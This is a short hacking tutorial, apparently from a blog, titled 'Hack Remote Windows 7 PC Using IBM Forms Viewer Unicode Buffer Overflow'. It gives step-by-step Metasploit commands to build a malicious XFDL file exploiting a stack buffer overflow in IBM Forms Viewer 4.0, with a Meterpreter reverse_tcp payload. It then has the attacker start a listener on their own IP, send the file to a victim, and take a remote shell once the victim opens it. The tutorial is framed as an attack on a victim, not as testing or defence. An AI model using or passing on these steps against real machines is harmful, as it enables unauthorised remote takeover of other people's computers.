Hack Remote Windows 7 PC Using IBM Forms Viewer Unicode Buffer Overflow
This module exploits a stack-based buffer overflow in IBM Forms Viewer. The vulnerability is due to a dangerous usage of strcpy-like function, and occurs while parsing malformed XFDL files, with a long fontname value. This module has been tested successfully on IBM Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.
Exploit Targets
Windows 7
IBM Forms Viewer 4.0
Requirement
Attacker: Kali Linux
Victim PC: Windows 7
Open Kali Linux terminal type msfconsole
Now type use exploit/windows/fileformat/ibm_forms_viewer_fontname
msf exploit (ibm_forms_viewer_fontname)>set payload windows/meterpreter/reverse_tcp
msf exploit (ibm_forms_viewer_fontname)>set lhost 192.168.1.113 (IP of Local Host)
msf exploit (ibm_forms_viewer_fontname)>exploit
After we successfully generate the malicious xfdl File, it will stored on your local computer
/root/.msf4/local/msf.xfdl
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.113
exploit
Now send your msf.xfdl files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
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